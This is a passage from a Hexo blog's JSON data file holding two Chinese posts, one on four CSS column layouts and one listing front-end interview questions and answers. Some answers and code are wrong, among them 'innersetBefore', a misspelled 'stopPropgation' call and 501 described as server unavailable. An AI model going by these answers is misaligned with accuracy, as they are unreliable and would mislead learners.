#right{float:right;width:200px;background:green;height:100%;}\n```\n简单而高效，代码还容易理解，适合初学者\n\n\n### 圣杯布局\n```\n//注意元素次序\n<div class=\"main\">Main</div>\n<div class=\"left\">Left</div>\n<div class=\"right\">Right</div>\n\n//习惯性的CSS reset\nbody,html{\n    height:100%;\n    padding: 0;\n    margin: 0\n}\n//父元素body空出左右栏位\nbody {\n    padding-left: 100px;\n    padding-right: 200px;\n}\n//左边元素更改\n.left {\n    background: red;\n    width: 100px;\n    float: left;\n    margin-left: -100%;\n    position: relative;\n    left: -100px;\n    height: 100%;\n}\n//中间部分\n.main {\n    background: blue;\n    width: 100%;\n    height: 100%;\n    float: left;\n}\n//右边元素定义\n.right {\n    background: red;\n    width: 200px;\n    height: 100%;\n    float: left;\n    margin-left: -200px;\n    position: relative;\n    right: -200px;\n}\n```\n稍微难理解一点，不过这种布局目前我觉得是适配性比其他两种要好的布局方式，缺点是后期维护性不高\n\n### 双飞翼布局\n```\ndiv class=\"main\">\n    <div class=\"inner\">\n        Main\n    </div>\n</div>\n<div class=\"left\">Left</div>\n<div class=\"right\">Right</div>\n```\n>css样式就是将body上的左右margin值去掉，加在新增的 div 中\n\n这种布局方式为淘宝 UED 提出，目前最好用的一种布局方式，相比较圣杯布局，去掉了相对布局，代码更简洁\n\n### 小结\n一个人的页面能力怎么样，从他对一个网站的布局如何就可以看出来，我觉得一个网站不但要用户看起来舒服，还要工程师在看到你的代码的时候，觉得布局非常巧妙。\n\n* 美观大方的布局加上简洁的代码，加油吧，骚年~\n","source":"_posts/四种常见的布局.md","raw":"---\ntitle: 四种常见的布局\ndate: 2017-06-28 16:16:11\ntags: [布局, 圣杯]\ncategories: HTML\n---\n\n对于一个对界要求很高的人来说，今天有必要研究下各种常见的布局，目前罗列了四种布局，来来来，一起看看\n\n[demo](http://jzxer.cn/layout/)\n\n### 绝对定位法\n> 左右两栏采用绝对定位，中间的由两边的margin撑开\n```\n<body>\n    <div id=\"main\"></div>\n    <div id=\"left\"></div>\n    <div id=\"right\"></div>\n</body>\n\n#main {\n    margin:0 200px;\n    background:red;\n}\n#left{\n    position:absolute;\n    top:0;left:0;\n    width:200px;\n    background:blue;\n    height:100%;\n} \n#right{\n    position:absolute;\n    top:0;right:0;\n    width:200px;\n    background:green;\n    height:100%;\n}\n\n```\n这种布局缺点是，当缩放到一定大小的时候，会出现重叠现象\n\n### 自身浮动法\n> 左栏左浮动，右栏右浮动，中间栏放最后\n```\n    <body>\n        <div id=\"left\"></div>\n        <div id=\"right\"></div>\n        <div id=\"main\"></div>\n    </body>　\n\n    #main {margin:0 200px;background:red;}\n    #left{float:left;width:200px;background:blue;height:100%;}\n    #right{float:right;width:200px;background:green;height:100%;}\n```\n简单而高效，代码还容易理解，适合初学者\n\n\n### 圣杯布局\n```\n//注意元素次序\n<div class=\"main\">Main</div>\n<div class=\"left\">Left</div>\n<div class=\"right\">Right</div>\n\n//习惯性的CSS reset\nbody,html{\n    height:100%;\n    padding: 0;\n    margin: 0\n}\n//父元素body空出左右栏位\nbody {\n    padding-left: 100px;\n    padding-right: 200px;\n}\n//左边元素更改\n.left {\n    background: red;\n    width: 100px;\n    float: left;\n    margin-left: -100%;\n    position: relative;\n    left: -100px;\n    height: 100%;\n}\n//中间部分\n.main {\n    background: blue;\n    width: 100%;\n    height: 100%;\n    float: left;\n}\n//右边元素定义\n.right {\n    background: red;\n    width: 200px;\n    height: 100%;\n    float: left;\n    margin-left: -200px;\n    position: relative;\n    right: -200px;\n}\n```\n稍微难理解一点，不过这种布局目前我觉得是适配性比其他两种要好的布局方式，缺点是后期维护性不高\n\n### 双飞翼布局\n```\ndiv class=\"main\">\n    <div class=\"inner\">\n        Main\n    </div>\n</div>\n<div class=\"left\">Left</div>\n<div class=\"right\">Right</div>\n```\n>css样式就是将body上的左右margin值去掉，加在新增的 div 中\n\n这种布局方式为淘宝 UED 提出，目前最好用的一种布局方式，相比较圣杯布局，去掉了相对布局，代码更简洁\n\n### 小结\n一个人的页面能力怎么样，从他对一个网站的布局如何就可以看出来，我觉得一个网站不但要用户看起来舒服，还要工程师在看到你的代码的时候，觉得布局非常巧妙。\n\n* 美观大方的布局加上简洁的代码，加油吧，骚年~\n","slug":"四种常见的布局","published":1,"updated":"2018-01-22T06:36:57.181Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y6f003fvzqh6vctxntu","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><p>对于一个对界要求很高的人来说，今天有必要研究下各种常见的布局，目前罗列了四种布局，来来来，一起看看</p>\n<p><a href=\"http://jzxer.cn/layout/\" target=\"_blank\" rel=\"noopener\">demo</a></p>\n<h3 id=\"绝对定位法\"><a href=\"#绝对定位法\" class=\"headerlink\" title=\"绝对定位法\"></a>绝对定位法</h3><blockquote>\n<p>左右两栏采用绝对定位，中间的由两边的margin撑开<br><code>`</code></p>\n</blockquote>\n<body><br>    <div id=\"main\"></div><br>    <div id=\"left\"></div><br>    <div id=\"right\"></div><br></body>\n\n<p>#main {<br>    margin:0 200px;<br>    background:red;<br>}</p>\n<p>#left{<br>    position:absolute;<br>    top:0;left:0;<br>    width:200px;<br>    background:blue;<br>    height:100%;<br>} </p>\n<p>#right{<br>    position:absolute;<br>    top:0;right:0;<br>    width:200px;<br>    background:green;<br>    height:100%;<br>}</p>\n<pre><code>这种布局缺点是，当缩放到一定大小的时候，会出现重叠现象\n\n### 自身浮动法\n&gt; 左栏左浮动，右栏右浮动，中间栏放最后\n</code></pre><pre><code>&lt;body&gt;\n    &lt;div id=&quot;left&quot;&gt;&lt;/div&gt;\n    &lt;div id=&quot;right&quot;&gt;&lt;/div&gt;\n    &lt;div id=&quot;main&quot;&gt;&lt;/div&gt;\n&lt;/body&gt;　\n\n#main {margin:0 200px;background:red;}\n#left{float:left;width:200px;background:blue;height:100%;}\n#right{float:right;width:200px;background:green;height:100%;}\n</code></pre><pre><code>简单而高效，代码还容易理解，适合初学者\n\n\n### 圣杯布局\n</code></pre><p>//注意元素次序</p>\n<div class=\"main\">Main</div><br><div class=\"left\">Left</div><br><div class=\"right\">Right</div>\n\n<p>//习惯性的CSS reset<br>body,html{<br>    height:100%;<br>    padding: 0;<br>    margin: 0<br>}<br>//父元素body空出左右栏位<br>body {<br>    padding-left: 100px;<br>    padding-right: 200px;<br>}<br>//左边元素更改<br>.left {<br>    background: red;<br>    width: 100px;<br>    float: left;<br>    margin-left: -100%;<br>    position: relative;<br>    left: -100px;<br>    height: 100%;<br>}<br>//中间部分<br>.main {<br>    background: blue;<br>    width: 100%;<br>    height: 100%;<br>    float: left;<br>}<br>//右边元素定义<br>.right {<br>    background: red;<br>    width: 200px;<br>    height: 100%;<br>    float: left;<br>    margin-left: -200px;<br>    position: relative;<br>    right: -200px;<br>}</p>\n<pre><code>稍微难理解一点，不过这种布局目前我觉得是适配性比其他两种要好的布局方式，缺点是后期维护性不高\n\n### 双飞翼布局\n</code></pre><p>div class=”main”&gt;<br>    <div class=\"inner\"><br>        Main<br>    </div><br></p>\n<p><div class=\"left\">Left</div></p>\n<p><div class=\"right\">Right</div><br><code>`</code></p>\n<blockquote>\n<p>css样式就是将body上的左右margin值去掉，加在新增的 div 中</p>\n</blockquote>\n<p>这种布局方式为淘宝 UED 提出，目前最好用的一种布局方式，相比较圣杯布局，去掉了相对布局，代码更简洁</p>\n<h3 id=\"小结\"><a href=\"#小结\" class=\"headerlink\" title=\"小结\"></a>小结</h3><p>一个人的页面能力怎么样，从他对一个网站的布局如何就可以看出来，我觉得一个网站不但要用户看起来舒服，还要工程师在看到你的代码的时候，觉得布局非常巧妙。</p>\n<ul>\n<li>美观大方的布局加上简洁的代码，加油吧，骚年~</li>\n</ul>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<p>对于一个对界要求很高的人来说，今天有必要研究下各种常见的布局，目前罗列了四种布局，来来来，一起看看</p>\n<p><a href=\"http://jzxer.cn/layout/\" target=\"_blank\" rel=\"noopener\">demo</a></p>\n<h3 id=\"绝对定位法\"><a href=\"#绝对定位法\" class=\"headerlink\" title=\"绝对定位法\"></a>绝对定位法</h3><blockquote>\n<p>左右两栏采用绝对定位，中间的由两边的margin撑开<br><code>`</code></p>\n</blockquote>\n<body><br>    <div id=\"main\"></div><br>    <div id=\"left\"></div><br>    <div id=\"right\"></div><br></body>\n\n<p>#main {<br>    margin:0 200px;<br>    background:red;<br>}</p>\n<p>#left{<br>    position:absolute;<br>    top:0;left:0;<br>    width:200px;<br>    background:blue;<br>    height:100%;<br>} </p>\n<p>#right{<br>    position:absolute;<br>    top:0;right:0;<br>    width:200px;<br>    background:green;<br>    height:100%;<br>}</p>\n<pre><code>这种布局缺点是，当缩放到一定大小的时候，会出现重叠现象\n\n### 自身浮动法\n&gt; 左栏左浮动，右栏右浮动，中间栏放最后\n</code></pre><pre><code>&lt;body&gt;\n    &lt;div id=&quot;left&quot;&gt;&lt;/div&gt;\n    &lt;div id=&quot;right&quot;&gt;&lt;/div&gt;\n    &lt;div id=&quot;main&quot;&gt;&lt;/div&gt;\n&lt;/body&gt;　\n\n#main {margin:0 200px;background:red;}\n#left{float:left;width:200px;background:blue;height:100%;}\n#right{float:right;width:200px;background:green;height:100%;}\n</code></pre><pre><code>简单而高效，代码还容易理解，适合初学者\n\n\n### 圣杯布局\n</code></pre><p>//注意元素次序</p>\n<div class=\"main\">Main</div><br><div class=\"left\">Left</div><br><div class=\"right\">Right</div>\n\n<p>//习惯性的CSS reset<br>body,html{<br>    height:100%;<br>    padding: 0;<br>    margin: 0<br>}<br>//父元素body空出左右栏位<br>body {<br>    padding-left: 100px;<br>    padding-right: 200px;<br>}<br>//左边元素更改<br>.left {<br>    background: red;<br>    width: 100px;<br>    float: left;<br>    margin-left: -100%;<br>    position: relative;<br>    left: -100px;<br>    height: 100%;<br>}<br>//中间部分<br>.main {<br>    background: blue;<br>    width: 100%;<br>    height: 100%;<br>    float: left;<br>}<br>//右边元素定义<br>.right {<br>    background: red;<br>    width: 200px;<br>    height: 100%;<br>    float: left;<br>    margin-left: -200px;<br>    position: relative;<br>    right: -200px;<br>}</p>\n<pre><code>稍微难理解一点，不过这种布局目前我觉得是适配性比其他两种要好的布局方式，缺点是后期维护性不高\n\n### 双飞翼布局\n</code></pre><p>div class=”main”&gt;<br>    <div class=\"inner\"><br>        Main<br>    </div><br></p>\n<p><div class=\"left\">Left</div></p>\n<p><div class=\"right\">Right</div><br><code>`</code></p>\n<blockquote>\n<p>css样式就是将body上的左右margin值去掉，加在新增的 div 中</p>\n</blockquote>\n<p>这种布局方式为淘宝 UED 提出，目前最好用的一种布局方式，相比较圣杯布局，去掉了相对布局，代码更简洁</p>\n<h3 id=\"小结\"><a href=\"#小结\" class=\"headerlink\" title=\"小结\"></a>小结</h3><p>一个人的页面能力怎么样，从他对一个网站的布局如何就可以看出来，我觉得一个网站不但要用户看起来舒服，还要工程师在看到你的代码的时候，觉得布局非常巧妙。</p>\n<ul>\n<li>美观大方的布局加上简洁的代码，加油吧，骚年~</li>\n</ul>\n"},{"title":"前端面试准备","date":"2017-08-27T02:12:07.000Z","_content":"\n整理一些面试题，以备用\n\n## 技术分类\n\n### JS (行为层)\n#### typeof 返回哪些数据类型\n* obj num fun bool undefined\n\n#### 3种强制类型转换两种隐式类型转换\n* parseInt parseFloat number\n* == - ===\n\n#### 数组方法pop() push() unshift() shift()\n* push() 尾部添加 pop() 尾部删除\n* unshift() 头部添加 shift() 头部删除\n\n#### ajax请求 get 和 post 的区别\n* 一个在 url 后面，一个放在虚拟载体里面\n* 有大小限制\n* 安全问题\n* 应用不同 \n\n#### call 和 apply 的区别\n* object.call(this, obj1,obj2,obj3)\n* object.apply(this, argument)\n\n#### ajax 请求时，如何解析 json 数据\n* 使用eval parse，介于安全性考虑 使用parse 更靠谱\n* eval 可以解析任何字符串，parse只解析json格式的字符串\n\n#### 闭包是什么？\n* 闭包就是能够读取其他函数内部变量的函数\n\n#### 添加 删除 替换 插入到某个节点的方法\n* obj.appendChild()\n* obj.innersetBefore()\n* obj.replaceChild()\n* obj.removeChild()\n\n#### javascript 同源策略\n* 一段脚本只能读取来自同一来源的穿考核文档的属性，同源：指主机名，协议和端口号的组合\n\n#### 编写一个 b 继承 a 的方法\n```\n  function A(name) {\n      this.name = name;\n      this.sayHello = function(){alert(this.name+ \"say hello!\")}\n  }\n\n  function B(name, id) {\n      this.temp = A\n      this.temp(name)\n      delete this.temp\n      this.id = id\n      this.checkId = function(ID) {alert(this.id == ID)}\n  }\n```\n\n#### 如何阻止事件冒泡和默认事件\n```\n  function stopBubble(e) {\n      if (e && e.stopPropagation) {\n          e.stopPropgation ()\n      } else {\n          window.event.cancelBubble = true\n      }\n      return false\n  }\n```\n\n#### 谈谈this对象的理解\n* this 是 js 的一个关键字， 随着函数使用场合不同，this的值会发生变化\n* 但是有一个原则，this 指向的就是调用函数的那个对象\n* this 一般情况下： 是指全局对象global， 如果作为方法调用，就指向这个对象\n\n#### 简单讲下 node 的使用场景\n* 高并发，聊天，实时消息推送\n\n#### node 的优点和缺点提出自己的看法\n* 优点： node是基于时间驱动和无阻塞的，所以非常适合处理并发请求，因此构建在node上的代理服务器相比其他技术实现的服务器表现要好的多，与node代理服务器交互的客户端代码也是用js写的，用的相同的语言，这感觉前后端非常亲切和美妙\n\n* 缺点： node是一个相对比较新的开源项目，所以不太稳定，它总是在变，而且缺少足够多的第三方库的支持\n\n\n\n#### 常用的一款框架\n\n* vuejs reactjs jQuery angular\n\n\n### CSS (表现层)\n#### 清除浮动\n* 使用clear\n* 使用overflow\n* 使用css的*：after\n\n#### 居中设置\n1· 水平居中\n* flex布局\n> 设置justify-content：center；\n\n2· 垂直居中\n* 多行文本（内联元素）\n> a: 插入 table ，再设置vertical-align: middle;\n> b: 先设置display： table-cell；再设置vertical-align: middle;\n\n#### link 和 @import的区别\n* link除了加载css，还能用于定义RSS，定义rel链接属性，import只能引入css\n* 页面加载时，link同时加载，而@import引用的css会等到页面被加载完之后再加载\n* import 只在 ie5 以上被识别\n\n#### css 盒子模型\n* content，padding，margin，border\n\n#### css 选择符号\n* id选择器\n* 类选择器\n* 标签选择器\n* 相邻选择器 + \n* 子选择器 >\n* 后代选择器\n* 通配符选择器 *\n* 属性选择器 （a[rel = 'external'])\n* 伪类选择器 hover nth-child\n* 优先级 \n> !important > id > class > tag\n\n### HTML (结构层)\n#### 什么是语义化的HTML\n* 直观的认识标签，有益于 SEO\n* 有利于开源之后阅读代码的人更容易阅读\n* 便于后期维护和理解\n\n### 自动化编程\n\n#### 前端自动化工具？\n* gulp\n* webpack\n\n### 其他\n#### 描述一下cookies，sessionStorage 和localStorage的区别？\n* cookie 在浏览器和服务器之间来回传递，SS和LS不会\n* SS和LS 的储存空间更大\n* SS和LS 有更多丰富易用的接口\n* SS和LS 是有各自的储存空间\n* LS 储存是永久性的，SS 关闭浏览器就没了\n\n#### 如何实现浏览器内多个标签之间的通信\n* 调用LS Cookies 等本地储存方式\n\n#### IE6 BUG 的解决办法\n* 双边距，float引起，使用display\n* 3像素问题，float引起， 使用display：inline-3px\n* 超链接 hover 点击失效， 注意顺序\n* 无法定义1px左右的宽度容器（使用overflow：hidden；zoom：0.08；line-height：1px）\n\n#### 你有哪些性能优化的方法\n* 减少http请求次数，css，js，html压缩，图片大小控制和压缩，网页cdn托管，data缓存，图片服务器\n* 前端模板 js + 数据，减少由于html导致的带宽浪费，减少请求次数，\n* 图片预加载，将样式表放在头部，脚本放在底部，加上时间戳\n* 用innerHTML代替dom操作，减少dom操作次数，优化js性能\n* 当需要设置的样式很多时，设置className而不是直接操作dom\n* 避免在页面的主体布局中使用table，table要在其中的内容完全下载完之后才会完全显示，显示div+css布局慢。普通网站有一个普遍的思路，就是尽量向前端化，减少数据库操作，减少磁盘IO，\n* 前端化：在不影响功能和体验的情况下，能在浏览器执行的不要在服务器执行，能在缓存服务器上直接返回的不要到应用服务器，程序能直接取到的结果不要到外部取，本机能取到的不要到远程取，内存能取到的不要到磁盘取，缓存中有的不要去数据库查询\n* 减少数据库操作指：减少更新次数，缓存结果减少查询次数，将数据库执行的操作尽可能的让你的操作完成，减少磁盘IO指尽量不适用文件系统作为缓存，减少读写文件次数等。\n* 程序优化永远要优化慢的部分\n\n#### http 状态码有哪些？分别代表啥意思？\n* 100-199 用于指定客户端相应的某些动作\n* 200-299 用于表示请求成功\n* 300-399 用于已经移动的文件并且常被包含在定位头信息中指定新的地址信息\n* 400-499 用于指出客户端的错误。\n> 400: 语义有误 401：当前请求需要用户验证 403: 服务器已经理解请求，但是拒绝执行他 404：页面找不到\n* 500-599 用于支持服务器错误。501 服务器不可用\n\n#### 一个页面从输入 url 到页面显示完成，中间发生了什么？\n* 查找浏览器缓存\n* DNS 解析，查找该域名对应的IP，重定向（301），发出第二个 get 请求\n* 进行HTTP 协议对话\n* 客户端发送报头\n* 文档开始下载\n* 文档树建立，根据标记请求所需指定mime类型的文件\n* 文件显示\n* 浏览器这边做的工作大致分为以下几步：\n> 加载：根据请求的url进行域名解析，向服务器发起请求，接受文件（html，js，css，图像等）\n> 解析：对加载到的资源（html，js，css）进行语法解析，建议相应的内部数据结构（比如html的dom树，js的属性表，css的样式表规则等等）\n\n\n### 总结\n* 怀着一颗空杯心态去看待事物，这样才会有进步，学无止境，我要走的路还很长","source":"_posts/前端面试准备.md","raw":"---\ntitle: 前端面试准备\ndate: 2017-08-27 10:12:07\ntags: [面试]\ncategories: web前端\n---\n\n整理一些面试题，以备用\n\n## 技术分类\n\n### JS (行为层)\n#### typeof 返回哪些数据类型\n* obj num fun bool undefined\n\n#### 3种强制类型转换两种隐式类型转换\n* parseInt parseFloat number\n* == - ===\n\n#### 数组方法pop() push() unshift() shift()\n* push() 尾部添加 pop() 尾部删除\n* unshift() 头部添加 shift() 头部删除\n\n#### ajax请求 get 和 post 的区别\n* 一个在 url 后面，一个放在虚拟载体里面\n* 有大小限制\n* 安全问题\n* 应用不同 \n\n#### call 和 apply 的区别\n* object.call(this, obj1,obj2,obj3)\n* object.apply(this, argument)\n\n#### ajax 请求时，如何解析 json 数据\n* 使用eval parse，介于安全性考虑 使用parse 更靠谱\n* eval 可以解析任何字符串，parse只解析json格式的字符串\n\n#### 闭包是什么？\n* 闭包就是能够读取其他函数内部变量的函数\n\n#### 添加 删除 替换 插入到某个节点的方法\n* obj.appendChild()\n* obj.innersetBefore()\n* obj.replaceChild()\n* obj.removeChild()\n\n#### javascript 同源策略\n* 一段脚本只能读取来自同一来源的穿考核文档的属性，同源：指主机名，协议和端口号的组合\n\n#### 编写一个 b 继承 a 的方法\n```\n  function A(name) {\n      this.name = name;\n      this.sayHello = function(){alert(this.name+ \"say hello!\")}\n  }\n\n  function B(name, id) {\n      this.temp = A\n      this.temp(name)\n      delete this.temp\n      this.id = id\n      this.checkId = function(ID) {alert(this.id == ID)}\n  }\n```\n\n#### 如何阻止事件冒泡和默认事件\n```\n  function stopBubble(e) {\n      if (e && e.stopPropagation) {\n          e.stopPropgation ()\n      } else {\n          window.event.cancelBubble = true\n      }\n      return false\n  }\n```\n\n#### 谈谈this对象的理解\n* this 是 js 的一个关键字， 随着函数使用场合不同，this的值会发生变化\n* 但是有一个原则，this 指向的就是调用函数的那个对象\n* this 一般情况下： 是指全局对象global， 如果作为方法调用，就指向这个对象\n\n#### 简单讲下 node 的使用场景\n* 高并发，聊天，实时消息推送\n\n#### node 的优点和缺点提出自己的看法\n* 优点： node是基于时间驱动和无阻塞的，所以非常适合处理并发请求，因此构建在node上的代理服务器相比其他技术实现的服务器表现要好的多，与node代理服务器交互的客户端代码也是用js写的，用的相同的语言，这感觉前后端非常亲切和美妙\n\n* 缺点： node是一个相对比较新的开源项目，所以不太稳定，它总是在变，而且缺少足够多的第三方库的支持\n\n\n\n#### 常用的一款框架\n\n* vuejs reactjs jQuery angular\n\n\n### CSS (表现层)\n#### 清除浮动\n* 使用clear\n* 使用overflow\n* 使用css的*：after\n\n#### 居中设置\n1· 水平居中\n* flex布局\n> 设置justify-content：center；\n\n2· 垂直居中\n* 多行文本（内联元素）\n> a: 插入 table ，再设置vertical-align: middle;\n> b: 先设置display： table-cell；再设置vertical-align: middle;\n\n#### link 和 @import的区别\n* link除了加载css，还能用于定义RSS，定义rel链接属性，import只能引入css\n* 页面加载时，link同时加载，而@import引用的css会等到页面被加载完之后再加载\n* import 只在 ie5 以上被识别\n\n#### css 盒子模型\n* content，padding，margin，border\n\n#### css 选择符号\n* id选择器\n* 类选择器\n* 标签选择器\n* 相邻选择器 + \n* 子选择器 >\n* 后代选择器\n* 通配符选择器 *\n* 属性选择器 （a[rel = 'external'])\n* 伪类选择器 hover nth-child\n* 优先级 \n> !important > id > class > tag\n\n### HTML (结构层)\n#### 什么是语义化的HTML\n* 直观的认识标签，有益于 SEO\n* 有利于开源之后阅读代码的人更容易阅读\n* 便于后期维护和理解\n\n### 自动化编程\n\n#### 前端自动化工具？\n* gulp\n* webpack\n\n### 其他\n#### 描述一下cookies，sessionStorage 和localStorage的区别？\n* cookie 在浏览器和服务器之间来回传递，SS和LS不会\n* SS和LS 的储存空间更大\n* SS和LS 有更多丰富易用的接口\n* SS和LS 是有各自的储存空间\n* LS 储存是永久性的，SS 关闭浏览器就没了\n\n#### 如何实现浏览器内多个标签之间的通信\n* 调用LS Cookies 等本地储存方式\n\n#### IE6 BUG 的解决办法\n* 双边距，float引起，使用display\n* 3像素问题，float引起， 使用display：inline-3px\n* 超链接 hover 点击失效， 注意顺序\n* 无法定义1px左右的宽度容器（使用overflow：hidden；zoom：0.08；line-height：1px）\n\n#### 你有哪些性能优化的方法\n* 减少http请求次数，css，js，html压缩，图片大小控制和压缩，网页cdn托管，data缓存，图片服务器\n* 前端模板 js + 数据，减少由于html导致的带宽浪费，减少请求次数，\n* 图片预加载，将样式表放在头部，脚本放在底部，加上时间戳\n* 用innerHTML代替dom操作，减少dom操作次数，优化js性能\n* 当需要设置的样式很多时，设置className而不是直接操作dom\n* 避免在页面的主体布局中使用table，table要在其中的内容完全下载完之后才会完全显示，显示div+css布局慢。普通网站有一个普遍的思路，就是尽量向前端化，减少数据库操作，减少磁盘IO，\n* 前端化：在不影响功能和体验的情况下，能在浏览器执行的不要在服务器执行，能在缓存服务器上直接返回的不要到应用服务器，程序能直接取到的结果不要到外部取，本机能取到的不要到远程取，内存能取到的不要到磁盘取，缓存中有的不要去数据库查询\n* 减少数据库操作指：减少更新次数，缓存结果减少查询次数，将数据库执行的操作尽可能的让你的操作完成，减少磁盘IO指尽量不适用文件系统作为缓存，减少读写文件次数等。\n* 程序优化永远要优化慢的部分\n\n#### http 状态码有哪些？分别代表啥意思？\n* 100-199 用于指定客户端相应的某些动作\n* 200-299 用于表示请求成功\n* 300-399 用于已经移动的文件并且常被包含在定位头信息中指定新的地址信息\n* 400-499 用于指出客户端的错误。\n> 400: 语义有误 401：当前请求需要用户验证 403: 服务器已经理解请求，但是拒绝执行他 404：页面找不到\n* 500-599 用于支持服务器错误。501 服务器不可用\n\n#### 一个页面从输入 url 到页面显示完成，中间发生了什么？\n* 查找浏览器缓存\n* DNS 解析，查找该域名对应的IP，重定向（301），发出第二个 get 请求\n* 进行HTTP 协议对话\n* 客户端发送报头\n* 文档开始下载\n* 文档树建立，根据标记请求所需指定mime类型的文件\n* 文件显示\n* 浏览器这边做的工作大致分为以下几步：\n> 加载：根据请求的url进行域名解析，向服务器发起请求，接受文件（html，js，css，图像等）\n> 解析：对加载到的资源（html，js，css）进行语法解析，建议相应的内部数据结构（比如html的dom树，js的属性表，css的样式表规则等等）\n\n\n### 总结\n* 怀着一颗空杯心态去看待事物，这样才会有进步，学无止境，我要走的路还很长","slug":"前端面试准备","published":1,"updated":"2018-01-22T06:36:22.448Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y6h003hvzqh0r2wm1gx","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><p>整理一些面试题，以备用</p>\n<h2 id=\"技术分类\"><a href=\"#技术分类\" class=\"headerlink\" title=\"技术分类\"></a>技术分类</h2><h3 id=\"JS-行为层\"><a href=\"#JS-行为层\" class=\"headerlink\" title=\"JS (行为层)\"></a>JS (行为层)</h3><h4 id=\"typeof-返回哪些数据类型\"><a href=\"#typeof-返回哪些数据类型\" class=\"headerlink\" title=\"typeof 返回哪些数据类型\"></a>typeof 返回哪些数据类型</h4><ul>\n<li>obj num fun bool undefined</li>\n</ul>\n<h4 